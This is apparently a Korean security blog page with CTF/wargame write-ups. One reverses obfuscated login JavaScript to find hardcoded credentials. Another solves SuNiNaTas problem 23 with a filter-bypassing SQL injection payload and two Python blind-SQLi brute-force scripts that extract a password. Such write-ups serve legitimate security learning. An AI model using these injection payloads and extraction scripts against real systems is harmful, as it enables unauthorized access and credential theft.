보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형


문제에 접근하면 Challenge Description이 나오는데 해석해본 결과 무슨 말인지 잘 이해가 안갔다..

그래서 일단 Link의 주소로 접근해보았다.



로그인하는 창이 뜨고 아래에 Hint가 있길래 눌러보았더니 Ableton보다 쉽다고 한다.

별 도움이 되지 않았고.. 또 다른 힌트가 있지 않을까 싶어 소스코드 보기를 하였다.


그랬더니 소스코드 내에 아래와 같은 스크립트가 존재하였다.


이런 문제를 풀 때는 크롬의 개발자도구를 이용하면 도움이 된다.


변수부분을 짤라 콘솔에 입력하여서 아래와 같은 결과를 보았다.


대충보면 user와 pass 값에 대한 것으로 추측되지만 정확히 하기 위해 나머지에 대해 분석해보았다.


function check(){    //원본

var _0xeb80x2=document[_0xae5b[2]](_0xae5b[1])[_0xae5b[0]];

var _0xeb80x3=document[_0xae5b[2]](_0xae5b[3])[_0xae5b[0]];

if(_0xeb80x2==_0xae5b[4]&&_0xeb80x3==_0xae5b[4]){alert(_0xae5b[5]);}

else {alert(_0xae5b[6]);}}

function check(){    //분석결과

var _0xeb80x2=document[getElementById](user)[value]

var _0xeb80x3=document[getElementById](pass)[value]

if(user=="Cyber-Talent"&&pass=="Cyber-Talent"){alert("Congratz..")}

else {alert("wrong Password")}

}


분석결과 user와 pass에 Cyber-Talent가 들어가면 문제가 풀리는 것으로 보아 입력한 결과 Flag가 출력되었다.


반응형

'Solve Problem' 카테고리의 다른 글

File Upload Filter Bypass Research  (0) 2019.05.17
[Websec.fr] level1 Writeup  (0) 2019.03.24
[root-me] Command injection - Filter bypass  (0) 2019.02.01
[SuNiNaTas] 23번 문제  (0) 2019.01.21
[PythonChallenge] 3번 문제  (0) 2018.09.02
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

1) admin의 패스워드 확인

 - admin의 문자열을 우회 : a'+'dmin' 

 - id=a'%2b'dmin'and+len(pw)=12-- 를 이용하여 admin의 패스워드가 12자리임을 확인


2) left를 이용하여 앞에서부터 확인

 - admin의 패스워드 첫번째 글자가 v임을 확인


- guest의 패스워드는 guest임을 확인하였기 때문에 id 부분에 따로 admin이라고 작성해주지 않고 or 을 이용하여 v로 시작하는 패스워드를 확인하면 guest가 아닌 admin의 패스워드를 찾으며 길이에 대한 이점이 생긴다.

(코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cookies = {'ASPSESSIONIDCABAABAS':'AKJHNLMBKIPJLJLOGFIELDMA'}
result = 'v'
 
for i in range(2,13):
    print "[-]: "+str(i)
    for j in range(32,122):
        url = "http://suninatas.com/Part_one/web23/web23.asp?id='or+left(pw,"+str(i)+")='"+result+chr(j)+"'--&pw=1"
        response = requests.get(url,cookies=cookies)
        print url
 
        if 'OK' in response.text:
            result += chr(j)
            print "[+]result = " + result
            break
cs




(결과) 길이에 대한 필터링때문에 v3ryhardsq 까지만 확인 가능



3) right를 이용하여 뒤에서부터 확인

 -뒤에서부터 확인하였을 때 OK admin이 나온 것은 i 였으므로 i 부터 뒤에서부터 확인

(코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cookies = {'ASPSESSIONIDCABAABAS':'AKJHNLMBKIPJLJLOGFIELDMA'}
result = 'i'
 
for i in range(2,13):
    print "[-]: "+str(i)
    for j in range(32,122):
        url = "http://suninatas.com/Part_one/web23/web23.asp?id='or+right(pw,"+str(i)+")='"+chr(j)+result+"'--&pw=1"
        response = requests.get(url,cookies=cookies)
        print url
 
        if 'OK' in response.text:
            result = chr(j)+result
            print "[+]result = " + result
            break
cs


(결과) yhardsqli를 확인


둘을 합치면 v3ryhardsqli가 Flag인 것을 알 수 있다.


~ SuNiNaTas All Clear ~


반응형

'Solve Problem' 카테고리의 다른 글

[CYBER TALENTS] This is Sparta  (0) 2019.02.05
[root-me] Command injection - Filter bypass  (0) 2019.02.01
[PythonChallenge] 3번 문제  (0) 2018.09.02
[PythonChallenge] 2번  (0) 2018.09.02
[PythonChallenge] 1번  (0) 2018.09.02
블로그 이미지

rootable

,

[IOS] Frida-trace

2019. 1. 17. 23:42

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Web Wargame Site

Hacking/Web 2019. 1. 13. 04:27
반응형

하나하나 올클리어를 해가며 업데이트할 글


- webhacking.kr (http://webhacking.kr/) : 관리가 되고 있지 않아 패스

- suninatas.com (http://suninatas.com/) : 10/10


- los (https://los.eagle-jump.org/) : 24/25

- rootme (https://www.root-me.org) : 39/57 ( Web-Server)

- websec.fr (https://websec.fr) : 0/28


반응형

'Hacking > Web' 카테고리의 다른 글

SSTI in Flask  (0) 2019.02.24
[root-me] XPath injection - string  (0) 2019.02.19
리버스 쉘 명령어  (0) 2018.10.14
Oracle WebLogic RCE Deserialization Vulnerability ( CVE-2018-2628 )  (0) 2018.10.06
[root-me] File upload - ZIP  (0) 2018.07.01
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.